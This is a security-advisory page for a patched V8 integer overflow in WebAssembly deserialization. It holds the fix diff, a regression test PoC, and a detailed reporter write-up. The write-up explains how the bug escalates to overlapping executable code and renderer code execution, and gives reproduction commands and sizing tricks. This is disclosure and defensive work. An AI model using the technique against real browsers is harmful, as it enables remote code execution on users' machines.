High chrome Integer Overflow 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInteger overflow in V8
DescriptionInteger overflow in V8
ComponentV8
Bug ClassInteger Overflow
Tracker538378084
Fix commitc3ea7757b190 (v8/v8) +69/-1
CISA KEVNot listed
CreditedSeunghyun Lee (@0x10n) of QED Audit (qedaudit.io)
Disclosed2026-08-06

Changed Functions

FunctionChangeNotes
for
test/mjsunit/regress/wasm/regress-538378084.js
modified

Files Changed

  • src/common/code-memory-access.cc
  • src/common/code-memory-access.h
  • src/wasm/wasm-serialization.cc
  • test/mjsunit/mjsunit.status
  • test/mjsunit/regress/wasm/regress-538378084.js
From c3ea7757b1906586207c05766e1070ea20266ea8 Mon Sep 17 00:00:00 2001
From: Jakob Kummerow <[email protected]>
Date: Tue, 28 Jul 2026 15:31:57 +0200
Subject: [PATCH] [wasm] Fix integer overflow in deserializer

For sufficiently large x, `x*9/10` can overflow the intermediate
result. Switching to `size_t` would not help on 32-bit, so flip
the order of operations instead.
Bonus: increase strictness of CFI-related checking to catch this.

Fixed: 538378084
Change-Id: Iae60310d567881601be643d2b79df9071111356b
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8159441
Auto-Submit: Jakob Kummerow <[email protected]>
Commit-Queue: Jakob Kummerow <[email protected]>
Reviewed-by: Daniel Lehmann <[email protected]>
Cr-Commit-Position: refs/heads/main@{#108914}
---

diff --git a/src/common/code-memory-access.cc b/src/common/code-memory-access.cc
index 81189ab..7af7f4a 100644
--- a/src/common/code-memory-access.cc
+++ b/src/common/code-memory-access.cc
@@ -431,6 +431,14 @@
   return {it->first, it->second};
 }
 
+base::Address ThreadIsolation::JitPageReference::EndOfLastAllocation() {
+  if (jit_page_->allocations_.empty()) {
+    return address_;
+  }
+  auto last = jit_page_->allocations_.rbegin();
+  return last->first + last->second.Size();
+}
+
 // static
 void ThreadIsolation::RegisterJitPage(Address address, size_t size) {
   CFIMetadataWriteScope write_scope("Adding new executable memory.");
@@ -586,6 +594,8 @@
     JitPage* mid;
     ConstructNew(&mid, size);
     jit_page.Shrink(mid);
+    // Defense in depth: the cut should not be in the middle of a code object.
+    CHECK(jit_page.EndOfLastAllocation() <= jit_page.End());
     trusted_data_.jit_pages_->emplace(addr, mid);
     return JitPageReference(mid, addr);
   }
diff --git a/src/common/code-memory-access.h b/src/common/code-memory-access.h
index 0c16621..cb649b5 100644
--- a/src/common/code-memory-access.h
+++ b/src/common/code-memory-access.h
@@ -282,6 +282,7 @@
     base::Address StartOfAllocationAt(base::Address inner_pointer);
     std::pair<base::Address, JitAllocation&> AllocationContaining(
         base::Address addr);
+    base::Address EndOfLastAllocation();
 
     bool Empty() const { return jit_page_->allocations_.empty(); }
     void Shrink(class JitPage* tail);
diff --git a/src/wasm/wasm-serialization.cc b/src/wasm/wasm-serialization.cc
index 11c66b1..83cd5af 100644
--- a/src/wasm/wasm-serialization.cc
+++ b/src/wasm/wasm-serialization.cc
@@ -1016,12 +1016,14 @@
   if (current_code_space_.size() < static_cast<size_t>(code_size)) {
     // Allocate the next code space. Don't allocate more than 90% of
     // {kMaxCodeSpaceSize}, to leave some space for jump tables.
+    // Perform the division first to avoid overflow.
     size_t max_reservation = RoundUp<kCodeAlignment>(
-        v8_flags.wasm_max_code_space_size_mb * MB * 9 / 10);
+        v8_flags.wasm_max_code_space_size_mb * MB / 10 * 9);
     size_t code_space_size = std::min(max_reservation, remaining_code_size_);
     std::tie(current_code_space_, current_jump_tables_) =
         native_module_->AllocateForDeserializedCode(code_space_size);
     DCHECK_EQ(current_code_space_.size(), code_space_size);
+    CHECK_LE(code_size, current_code_space_.size());
     CHECK(current_jump_tables_.is_valid());
   }
 
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index d256a71..3efca20 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -277,6 +277,9 @@
   # Disabled since v8_flags.always_use_string_forwarding_table is now READONLY.
   'string-forwarding-table': [SKIP],
 
+  # Requires a large --wasm-max-code-space-size-mb.
+  'regress/wasm/regress-538378084': [PASS, ['arch not in (x64, ia32) or no_simd_hardware', SKIP]],
+
   # Slow tests in the lower_limits_mode.
   # The lower limits makes EphemeronHashTables more inefficient by making hashes
   # collide more. This tests adds many objects to a WeakMap and that is very
diff --git a/test/mjsunit/regress/wasm/regress-538378084.js b/test/mjsunit/regress/wasm/regress-538378084.js
new file mode 100644
index 0000000..3025365
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-538378084.js
@@ -0,0 +1,52 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --wasm-max-code-space-size-mb=456 --expose-gc
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+const kMaxReservation = 838912;
+
+const instr = SimdInstr(kExprI32x4TruncSatF64x2UZero);
+const chain = n => {
+  const b = [kExprLocalGet, 0, ...SimdInstr(kExprI32x4Splat)];
+  for (let i = 0; i < n; i++) b.push(...instr);
+  b.push(...SimdInstr(kExprI32x4ExtractLane), 0);
+  return b;
+};
+
+const builder = new WasmModuleBuilder();
+let chain_6k = chain(6000);
+builder.addFunction('big', kSig_i_i).addBody(chain(18300)).exportFunc();
+builder.addFunction('small', kSig_i_i).addBody(chain_6k).exportFunc();
+// Never called, so never compiled. These only inflate the initial reservation,
+// via EstimateNativeModuleCodeSize = 3*body+24 per declared function, which is
+// where the free slack for {small} comes from.
+for (let i = 0; i < 24; i++) {
+  builder.addFunction('pad' + i, kSig_i_i).addBody(chain_6k).exportFunc();
+}
+const wire = builder.toBuffer();
+
+// Only 'big' is tiered up, so only it serializes as real code; everything else
+// stays a 1-byte marker and is compiled after deserialization.
+let module = new WebAssembly.Module(wire);
+let inst0 = new WebAssembly.Instance(module);
+inst0.exports.big(3);
+%WasmTierUpFunction(inst0.exports.big);
+const blob = d8.wasm.serializeModule(module);
+// We want to achieve blob.byteLength > kMaxReservation here, but can't
+// assert it because in the no-AVX configuration the generated code is smaller.
+// That's fine, the default config provides enough coverage.
+
+// This is load bearing for some reason.
+print("" + blob.byteLength);
+
+// Clear the NativeModuleCache to force real deserialization.
+module = null; inst0 = null;
+gc();
+
+const inst = new WebAssembly.Instance(d8.wasm.deserializeModule(blob, wire));
+assertEquals(0, inst.exports.big(3));
+assertEquals(0, inst.exports.small(5));
+assertEquals(0, inst.exports.big(3));
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/mjsunit.status b/test/mjsunit/mjsunit.status
index d256a71..3efca20 100644
--- a/test/mjsunit/mjsunit.status
+++ b/test/mjsunit/mjsunit.status
@@ -277,6 +277,9 @@
   # Disabled since v8_flags.always_use_string_forwarding_table is now READONLY.
   'string-forwarding-table': [SKIP],
 
+  # Requires a large --wasm-max-code-space-size-mb.
+  'regress/wasm/regress-538378084': [PASS, ['arch not in (x64, ia32) or no_simd_hardware', SKIP]],
+
   # Slow tests in the lower_limits_mode.
   # The lower limits makes EphemeronHashTables more inefficient by making hashes
   # collide more. This tests adds many objects to a WeakMap and that is very
diff --git a/test/mjsunit/regress/wasm/regress-538378084.js b/test/mjsunit/regress/wasm/regress-538378084.js
new file mode 100644
index 0000000..3025365
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-538378084.js
@@ -0,0 +1,52 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --wasm-max-code-space-size-mb=456 --expose-gc
+
+d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');
+
+const kMaxReservation = 838912;
+
+const instr = SimdInstr(kExprI32x4TruncSatF64x2UZero);
+const chain = n => {
+  const b = [kExprLocalGet, 0, ...SimdInstr(kExprI32x4Splat)];
+  for (let i = 0; i < n; i++) b.push(...instr);
+  b.push(...SimdInstr(kExprI32x4ExtractLane), 0);
+  return b;
+};
+
+const builder = new WasmModuleBuilder();
+let chain_6k = chain(6000);
+builder.addFunction('big', kSig_i_i).addBody(chain(18300)).exportFunc();
+builder.addFunction('small', kSig_i_i).addBody(chain_6k).exportFunc();
+// Never called, so never compiled. These only inflate the initial reservation,
+// via EstimateNativeModuleCodeSize = 3*body+24 per declared function, which is
+// where the free slack for {small} comes from.
+for (let i = 0; i < 24; i++) {
+  builder.addFunction('pad' + i, kSig_i_i).addBody(chain_6k).exportFunc();
+}
+const wire = builder.toBuffer();
+
+// Only 'big' is tiered up, so only it serializes as real code; everything else
+// stays a 1-byte marker and is compiled after deserialization.
+let module = new WebAssembly.Module(wire);
+let inst0 = new WebAssembly.Instance(module);
+inst0.exports.big(3);
+%WasmTierUpFunction(inst0.exports.big);
+const blob = d8.wasm.serializeModule(module);
+// We want to achieve blob.byteLength > kMaxReservation here, but can't
+// assert it because in the no-AVX configuration the generated code is smaller.
+// That's fine, the default config provides enough coverage.
+
+// This is load bearing for some reason.
+print("" + blob.byteLength);
+
+// Clear the NativeModuleCache to force real deserialization.
+module = null; inst0 = null;
+gc();
+
+const inst = new WebAssembly.Instance(d8.wasm.deserializeModule(blob, wire));
+assertEquals(0, inst.exports.big(3));
+assertEquals(0, inst.exports.small(5));
+assertEquals(0, inst.exports.big(3));
Loading diff…

Original Bug Report

reported by [email protected]

Chrome Renderer RCE + V8 sandbox escape due to integer overflow in Wasm code space size computation during deserialization


Report description

Chrome Renderer RCE + V8 sandbox escape due to integer overflow in Wasm code space size computation during deserialization


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

https://chromium.googlesource.com/v8/v8.git


The problem

Please describe the technical details of the vulnerability

VULNERABILITY DETAILS

Summary

TL;DR: a 32-bit integer overflow in the WebAssembly code space size computation makes the deserializer allocate a code space ~9x smaller than intended, and an unchecked code_size then writes a function’s compiled code past the end of it. The overwrite escalates to two live, overlapping, executable WasmCode allocations. It is reachable by default from a web page through Chrome’s HTTP code cache. The serialized blob is V8’s own unmodified serializer output, so this is not a manipulated-deserialization-input issue ineligible for VRP. V8 emits a module its own deserializer cannot read back safely.

NativeModuleDeserializer::ReadCode computes the per-code-space reservation as v8_flags.wasm_max_code_space_size_mb * MB * 9 / 10. The flag is unsigned int and MB is int, so the product is evaluated in 32-bit arithmetic and wraps: at the x64 default of 1024 it yields 107,374,208 instead of 966,367,680. Nothing then checks that a deserialized function’s code_size fits the space that was reserved, and the guarding base::Vector::SubVector/operator+= bounds are DCHECK-only. A function larger than the wrapped reservation is therefore written past the end of its code space, into memory WasmCodeAllocator still treats as free.

That oversized WasmCode registers a ThreadIsolation JIT allocation straddling a JitPage boundary. When a later code allocation at or over kSplitThreshold splits the page, JitPageReference::Shrink() partitions the allocation map by start key and strands the straddling allocation in the head page, so the new page is created with an empty map and CheckForRegionOverlap passes. Two live, registered, overlapping executable WasmCode allocations result.

Details

(1) Always-overflowing max_reservation max code size computation.

// https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-serialization.cc
DeserializationUnit NativeModuleDeserializer::ReadCode(int fn_index, Reader* reader) {
  // ...
  uint32_t code_size = reader->Read<uint32_t>();
  // ...
  DCHECK(IsAligned(code_size, kCodeAlignment));
  DCHECK_GE(remaining_code_size_, code_size);
  if (current_code_space_.size() < static_cast<size_t>(code_size)) {
    // Allocate the next code space. Don't allocate more than 90% of
    // {kMaxCodeSpaceSize}, to leave some space for jump tables.
    size_t max_reservation = RoundUp<kCodeAlignment>(
        v8_flags.wasm_max_code_space_size_mb * MB * 9 / 10);       // [!] 32-bit wrap
    size_t code_space_size = std::min(max_reservation, remaining_code_size_);
    std::tie(current_code_space_, current_jump_tables_) =
        native_module_->AllocateForDeserializedCode(code_space_size);
    DCHECK_EQ(current_code_space_.size(), code_space_size);
    CHECK(current_jump_tables_.is_valid());
  }

wasm_max_code_space_size_mb is declared DEFINE_UINT, so its C++ type is unsigned int:

// src/flags/flag-definitions.h
DEFINE_UINT(wasm_max_code_space_size_mb, kDefaultMaxWasmCodeSpaceSizeMb,
            "maximum size of a single wasm code space")

and MB is a constexpr int:

// include/v8-internal.h
constexpr int KB = 1024;
constexpr int MB = KB * 1024;
constexpr int GB = MB * 1024;
#ifdef V8_TARGET_ARCH_X64
constexpr size_t TB = size_t{GB} * 1024;      // widened here, but not for MB
#endif

flag * MB * 9 is evaluated entirely in 32-bit unsigned arithmetic and wraps. With the x64 default kDefaultMaxWasmCodeSpaceSizeMb = 1024 (src/common/globals.h):

* 9 / 10 after RoundUp<64>
intended, 64-bit 966,367,641 966,367,680
actual, 32-bit wrap 107,374,182 107,374,208

The compile time path computes the same quantity with an explicit widening, which shows the intent:

// src/wasm/wasm-code-manager.cc, ReservationSizeForWasmCode()
const size_t max_code_space_size =
    size_t{v8_flags.wasm_max_code_space_size_mb} * MB;             // [!] correctly widened

This is a silent, unintended 32-bit unsigned integer overflow on every target whose kDefaultMaxWasmCodeSpaceSizeMb exceeds 455, which is the 1024 MB #else branch covering x64.

(2) No check that a single function fits the code space.

The if above allocates a new code space but never verifies the new space can hold code_size. Immediately afterwards:

  base::Vector<uint8_t> instructions =
      current_code_space_.SubVector(0, code_size);                 // [!] no release-mode check
  current_code_space_ += code_size;                                // [!] underflows
  remaining_code_size_ -= code_size;

  unit.code = native_module_->AddDeserializedCode(
      fn_index, instructions, stack_slot_count, ool_spill_count, ...);

Both operations are DCHECK only:

// src/base/vector.h:60
Vector<T> SubVector(size_t from, size_t to) const {
  DCHECK_LE(from, to);
  DCHECK_LE(to, length_);                                          // [!] DCHECK only
  return Vector<T>(begin() + from, to - from);
}

// src/base/vector.h:149
Vector<T> operator+=(size_t offset) {
  DCHECK_LE(offset, length_);                                      // [!] DCHECK only
  start_ += offset;
  length_ -= offset;                                               // [!] wraps to ~1.8e19
  return *this;
}

A release build produces an oversized Vector, and length_ underflows. After that current_code_space_.size() < code_size is never true again, so every subsequent function is carved contiguously past the end of the code space.

CopyAndRelocate registers the oversized span and memcpys into it:

void NativeModuleDeserializer::CopyAndRelocate(const DeserializationUnit& unit) {
  WritableJitAllocation jit_allocation = ThreadIsolation::RegisterJitAllocation(
      reinterpret_cast<Address>(unit.code->instructions().begin()),
      unit.code->instructions().size(),
      ThreadIsolation::JitAllocationType::kWasmCode, false);

  jit_allocation.CopyCode(0, unit.src_code_buffer.begin(),
                          unit.src_code_buffer.size());
  // ... relocation pass

(2) is a missing check rather than an independently reachable defect, and the distinction matters for the fix. code_space_size is min(max_reservation, remaining_code_size_). The remaining_code_size_ branch can never under-allocate, since that is the sum over all remaining functions including this one and so is always at least code_size. The only way to under-allocate is code_size > max_reservation, i.e. a function larger than 90% of a code space.

Compilation rules that out on its own. NativeModule::AddCompiledCode caps a single function at half a code space and FATALs above it:

// src/wasm/wasm-code-manager.cc, NativeModule::AddCompiledCode()
// Never add more than half of a code space at once. This leaves some space
// for jump tables and other overhead.
size_t max_code_batch_size = v8_flags.wasm_max_code_space_size_mb * MB / 2;

Half a code space is below the deserializer’s 90%, so with correct arithmetic code_size can never exceed max_reservation on any target. (1) is what makes the missing check reachable: the wrapped max_reservation of 107,374,208 drops below the 536,870,912 that compilation permits, and the window opens.

The wrap drops the trigger threshold from 966,367,680 bytes, unreachable because kV8MaxWasmFunctionSize caps a function body at 7,654,321 bytes, down to 107,374,208, which is reachable. A straight line chain of i32x4.trunc_sat_f64x2_u_zero is unary v128 to v128, so the chain is the opcode repeated with no operand pushes, and it expands at a measured 46.0 code bytes per 3 body bytes in both Liftoff and TurboFan. With a 3-byte opcode that yields up to 117,366,102 bytes from one function, comfortably over the wrapped threshold.

(3) The ThreadIsolation overlap check is per page, and Shrink() strands straddling allocations.

CheckForRegionOverlap is the guard that should stop two JIT allocations from overlapping, and it is applied to a single page’s map:

// src/common/code-memory-access.cc:343, from JitPageReference::RegisterAllocation
CheckForRegionOverlap(jit_page_->allocations_, addr, size);

JitPageReference::Shrink() partitions that map by start key:

// src/common/code-memory-access.cc:310-316
void ThreadIsolation::JitPageReference::Shrink(class JitPage* tail) {
  jit_page_->size_ -= tail->size_;
  // Move all allocations that are out of bounds.
  auto it = jit_page_->allocations_.lower_bound(End());            // [!] by START key
  tail->allocations_.insert(it, jit_page_->allocations_.end());
  jit_page_->allocations_.erase(it, jit_page_->allocations_.end());
}

An allocation whose start is below the split point but whose end is above it stays in the head page, and the new page covering that range is created with no record of it. Straddling allocations are not exotic: WasmCodeAllocator merges free space across adjacent reservations, so a single WasmCode routinely spans two, and the split then runs straight through it.

Which branch runs is selected by an attacker controlled size, the AddCompiledCode batch:

// src/common/code-memory-access.cc:536-544
constexpr size_t kSplitThreshold = 0x40000;
JitPageReference page_ref = total_size >= kSplitThreshold
                                ? SplitJitPage(start, total_size)  // [!] Shrink()s the page
                                : LookupJitPage(start, total_size);
for (auto size : sizes) {
  page_ref.RegisterAllocation(start, size, type);
  start += size;
}

A victim batch under 262,144 bytes takes LookupJitPage, CheckForRegionOverlap sees the oversized allocation, and the process dies on a contained release CHECK. A victim batch at or over 262,144 bytes takes SplitJitPage, Shrink() strands the oversized allocation in the head page, the returned page’s map is empty, CheckForRegionOverlap skips both of its branches, and the registration succeeds with the two allocations overlapping.

Two live WasmCode objects now share bytes. Executing the deserialized one runs into the lazily compiled one’s code.

Reachability.

The path is Chrome’s HTTP code cache. A page serves wasm, V8 compiles and tiers up to TurboFan, Chrome caches the serialized module, and a later navigation deserializes the blob. All of that is default behaviour. Lazy compilation, Liftoff and dynamic tier-up are all default on, and the bug needs all three.

The other two structured clone paths are closed and were checked. V8ScriptValueSerializer::GetWasmModuleTransferId throws DataCloneError for for_storage_, which covers IndexedDB, and postMessage uses kTransfer, which passes the NativeModule by reference without serializing.

One environmental precondition is worth stating. The blob is about 107.4 MB, and the code cache rejects entries above MaxFileSize() = max(cache_size/2, 5MB), where cache_size = min(PreferredCacheSizeInternal(free_space), 480MB) for net::GENERATED_NATIVE_CODE_CACHE. That needs roughly 21.5 GB free on the profile volume, which is a mild assumption for a desktop install. Below that the entry is dropped and the module is recompiled, with no crash.

Bisect

Regressed by 8dc30ad2f455, “Reland [wasm] Do not add too much code at once”, 2022-11-14, bug v8:13436, crrev.com/c/4025548. That CL added --wasm-max-code-space-size-mb so tests could lower the code space limit, and rewrote the reservation to read the new flag:

-    constexpr size_t kMaxReservation =
-        RoundUp<kCodeAlignment>(WasmCodeAllocator::kMaxCodeSpaceSize * 9 / 10);
-    size_t code_space_size = std::min(kMaxReservation, remaining_code_size_);
+    size_t max_reservation = RoundUp<kCodeAlignment>(
+        v8_flags.wasm_max_code_space_size_mb * MB * 9 / 10);
+    size_t code_space_size = std::min(max_reservation, remaining_code_size_);

The line it replaced was introduced by e284517ba83c, “[wasm][serialization] Allocate code in large chunks”, 2021-01-26, bug v8:11164. That version did not overflow where size_t is 64 bits. WasmCodeAllocator::kMaxCodeSpaceSize was static constexpr size_t (1024 * MB), so kMaxCodeSpaceSize * 9 / 10 was evaluated at compile time in 64 bits and gave 966,367,641. Substituting the unsigned int flag multiplied by int MB moved the whole expression into 32 bits.

The unchecked carve in (2) was introduced by e284517 itself, in the same hunk: that CL replaced a per-function allocation sized exactly to the code with carving out of a shared current_code_space_, guarded only by the DCHECKs in SubVector and operator+=. It was not reachable then, because the reservation was computed correctly. 8dc30ad made it reachable on the targets whose kDefaultMaxWasmCodeSpaceSizeMb exceeds 455, which is the 1024 MB #else branch.

VERSION

Reproduced end to end on stock Chrome for Testing 150.0.7871.46, headless, x64 Linux, using the v8CTF chrome-150 image and the Chrome invocation from google/security-research/v8ctf/chrome-150/challenge, plus --trace-startup* added only to record the code cache hit. No V8 or WebAssembly flags.

Also reproduced in d8 at V8 15.2.0, chromium component build 108850, x64 release. The construct is present at origin/main 521ec3ffe2f6 (2026-07-23), verified after fetching.

Operating System: Linux x64 tested. The arithmetic wraps on any target whose kDefaultMaxWasmCodeSpaceSizeMb exceeds 455, which is 1024 on x64 and most 64-bit targets. ARM64 and Loong64 use 128 and PPC64 uses 32, so flag * MB * 9 does not wrap there and (1) does not apply.

(2) does not apply on those targets either. AddCompiledCode caps a compiled function at half a code space on every target, which is below the deserializer’s 90%, so with correct arithmetic code_size can never exceed max_reservation anywhere.

REPRODUCTION CASE

Chrome. Dockerfile pins Chrome for Testing 150.0.7871.46 and the invocation matches google/security-research/v8ctf/chrome-150/challenge. index.html is the page, serve.py the server. mod.wasm is generated from the same module definition as the d8 PoC so the two cannot diverge.

d8 --allow-natives-syntax poc-default.js -- gen   # writes mod.wasm
docker build -t v8ctf-chrome150 .
docker run --rm -i -v "$PWD:/work" -w /work --shm-size=2g v8ctf-chrome150 bash -c '
  mkdir -p /run/dbus; python3 serve.py & sleep 1
  /opt/chrome-linux64/chrome --headless=new --no-sandbox \
    --disable-crashpad --disable-breakpad --disable-crash-reporter \
    --enable-logging=stderr --user-data-dir=/home/user \
    --trace-startup=disabled-by-default-devtools.timeline \
    --trace-startup-file=/work/trace.json --trace-startup-duration=240 \
    "http://127.0.0.1:8000/index.html?phase=1" 2>&1 \
    | grep -aE "\[poc\]|Received signal|Fatal error|Check failed"
  python3 -c "d=open(\"/work/trace.json\",\"rb\").read()
print(\"moduleCacheHit x%d\" % d.count(b\"v8.wasm.moduleCacheHit\"))"'

The page uses WebAssembly.compileStreaming, a navigation, and large ArrayBuffer allocations to force a major GC. Phase 1 fetches the module, drives big to TurboFan, waits for the code cache write and navigates to ?phase=2. Phase 2 evicts the per process NativeModuleCache with large ArrayBuffer allocations so DeserializeNativeModule does not short circuit, recompiles from the cache, then calls the victim.

Two sequencing constraints have to hold. The code cache is only re-read on a fresh document, so phase 2 must be a navigation rather than a same-document refetch. V8’s NativeModuleCache is per process and survives that navigation, so the phase 1 NativeModule must be dead before phase 2 compiles.

Check the trace for v8.wasm.moduleCacheHit. Without it the run proves nothing, because a miss silently recompiles and behaves normally.

If the trace reports moduleCacheHit x0, the usual cause is that phase 1 navigated before the code cache write landed, not that the bug failed to trigger. WAIT_STEPS in index.html is 36, i.e. a 3-minute wait, which reproduced end to end here. A 60 s wait missed. On a slower machine raise WAIT_STEPS, and --trace-startup-duration with it, before concluding anything from a clean run.

d8. Run from this directory, which must hold wasm-module-builder.js. Both PoCs use --allow-natives-syntax for %WasmTierUpFunction, which forces big to TurboFan synchronously so the serialized blob deterministically contains real code. d8 has no code cache, so d8.wasm.serializeModule and deserializeModule stand in for the round trip; the flagless demonstration is the Chrome one above.

# stock wasm-max-code-space-size-mb. ~110s, it compiles a ~107MB function
d8 --allow-natives-syntax poc-default.js

# minimal, ~1s
d8 --allow-natives-syntax --wasm-max-code-space-size-mb=456 poc-minimal.js

# contrast: same module, victim sized under kSplitThreshold
d8 --allow-natives-syntax --wasm-max-code-space-size-mb=456 poc-minimal.js -- under

--wasm-max-code-space-size-mb=456 does not introduce the bug, it only lowers the size needed to reach it. The same wrap gives 456*1048576*9 mod 2^32 / 10, then RoundUp<64> = 838,912, so a 0.8 MB function arms the identical code path instead of a 107,374,208 byte one.

The under argument isolates the split as the deciding factor with nothing else varying:

victim code size path taken outcome
92,160 B, under 262,144 LookupJitPage contained release CHECK
276,160 B, at or over 262,144 SplitJitPage registration succeeds, overlap, SIGSEGV

One way to get a false negative that looks like a clean pass: the NativeModuleCache is keyed on wire bytes and must miss. On a hit, deserializeModule returns the original correctly compiled module and nothing happens. The d8 PoCs force eviction with repeated 2 GB ArrayBuffer requests, and too few rounds silently yields a clean run.

A second trap is closed by construction rather than left to the reader. WriteCode emits a 1-byte marker for anything whose tier() != kTurbofan, so serializing before tier-up lands yields a blob with no real code. The PoCs call %WasmTierUpFunction and assert %IsTurboFanFunction before serializing, and check the blob exceeds max_reservation.

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: Renderer

Crash State: wild-address SIGSEGV executing a wasm function whose code region overlaps another live WasmCode.

The cleanest signal comes from poc-minimal.js, which faults with SEGV_MAPERR on every run:

blob 842103 B > max_reservation 838912
deserialized, big(3) = 0
victim(5) = 0
Received signal 11 SEGV_MAPERR 066b92901db1

Eight consecutive runs gave SEGV_MAPERR at ...db1, only the ASLR bits varying. The wild-address fault is what confirms this is corruption, not a benign abort: V8’s deliberate aborts are SIGABRT (abort()) or SIGTRAP/SIGILL (int3/ud2), never a read of unmapped memory.

Chrome 150.0.7871.46 reaches the same state and lands on SIGILL, with the module served from the code cache (moduleCacheHit x1, first call 14 ms rather than a recompile):

[poc] phase2: compileStreaming -> expect moduleCacheHit -> ReadCode
[poc] phase2: big(3)=0 first call 14ms
[poc] phase2: victim(5)=0
Received signal 4 ILL_ILLOPN 1ce4724e20fd
  v8.wasm.moduleCacheHit             x1

A separate Chrome run snapshotted /proc/<renderer>/maps at the fault: the PC 0xf51dd1290fd lies inside a f51d6ac2000-f51de429000 rwxp [anon:v8] mapping, and no Fatal error or Check failed appears in the log, so it is executing JIT memory, not a V8_Fatal.

Under kSplitThreshold the same setup instead dies on the contained release CHECK, which is V8’s own statement that a code allocation was placed where it does not fit (poc-minimal.js -- under, at --wasm-max-code-space-size-mb=456):

# Fatal error in ../../src/common/code-memory-access.cc, line 278
# Check failed: GetSize(prev_entry) <= offset (841856 vs. 838912).
  ThreadIsolation::JitPageReference::RegisterAllocation
  ThreadIsolation::RegisterJitAllocations
  v8::internal::wasm::NativeModule::AddCompiledCode
  v8::internal::wasm::CompileLazy
  v8::internal::Runtime_WasmCompileLazy

SUGGESTED FIX

Root Cause

Attached as 0001-wasm-Fix-code-space-reservation-in-the-deserializer.patch, git am-clean against v8 origin/main at 521ec3ffe2f6. Bug: and Change-Id: trailers are omitted, since the bug id is assigned on filing and Change-Id comes from git cl.

Widen the arithmetic to match the existing form in ReservationSizeForWasmCode:

size_t max_reservation = RoundUp<kCodeAlignment>(
    size_t{v8_flags.wasm_max_code_space_size_mb} * MB * 9 / 10);

That closes the reachable path on its own, since AddCompiledCode caps a compiled function at half a code space, which is below the widened 90% reservation. The patch also adds a backstop next to the existing CHECK on the jump tables, so that a future violation of that invariant aborts instead of overflowing:

CHECK_LE(code_size, current_code_space_.size());

A CHECK rather than a graceful bail is deliberate. ReadCode signals “no unit” with {}, which the caller in Read() treats as a skipped lazy function via if (!unit.code) continue;, so returning {} here would silently drop a function and desync the remaining_code_size_ bookkeeping rather than report an error.

Pseudo-constexpr overflow

Worth noting how this escaped detection. wasm_max_code_space_size_mb is a constant in every practical sense, since nothing outside tests overrides it, but because it is a runtime-mutable flag the expression cannot be constexpr and the compiler never folds it. There is therefore no constant-overflow diagnostic. Nor is there a runtime one by default: the operands are unsigned, so the wrap is well-defined wraparound rather than UB, and stock UBSan stays silent. -fsanitize=unsigned-integer-overflow does report it (“cannot be represented in type unsigned int”), but it is off by default because it fires on intentional wrapping. The whole class, byte-size arithmetic derived from a flag and evaluated in a 32-bit type, is invisible to both. A targeted pass or an audit over flag-derived size computations would be worth more here than fixing this one line.

JitPage tracking bypass

JitPageReference::Shrink() is worth a separate look, but no patch is offered for it. It partitions the allocation map by start key, so an allocation crossing the split point stays in the head page while the new page covering its tail is created with no record of it, which is what lets the overlapping registration through. It cannot simply be forbidden: WasmCodeAllocator merges free space across adjacent reservations, so a single WasmCode legitimately spans two of them, and UnregisterJitPage then splits exactly at that boundary during ordinary module teardown. Asserting the condition away would crash on normal operation. A correct fix has to keep the straddling allocation visible to whichever page a later registration consults, and that is a design decision for the V8 team.

CREDIT INFORMATION

Reporter credit: Seunghyun Lee (@0x10n) of QED Audit (qedaudit.io)

This report was generated with assistance of an LLM agent, under human supervision and verification.


First time writing the report primarily driven by LLM. If you’d prefer my prior human-written report format please lmk.

Impact analysis

Who: Any attacker(-controlled website).

What they gain: A renderer out-of-bounds write of attacker-influenced bytes into RWX (executable) JIT memory, past the end of its allotted WebAssembly code space, trivially escalating to fully arbitrary code execution in the renderer process bypassing the v8 sandbox altogether.


The cause

What version of Chrome have you found the security issue in?

Chrome for Testing 150.0.7871.46 / V8 15.2.0 / ToT

Yes, it is related to a crash.

Choose the type of vulnerability

Remote Code Execution (RCE)

How would you like to be publicly acknowledged for your report?

Seunghyun Lee (@0x10n) of QED Audit (qedaudit.io)

View on issue tracker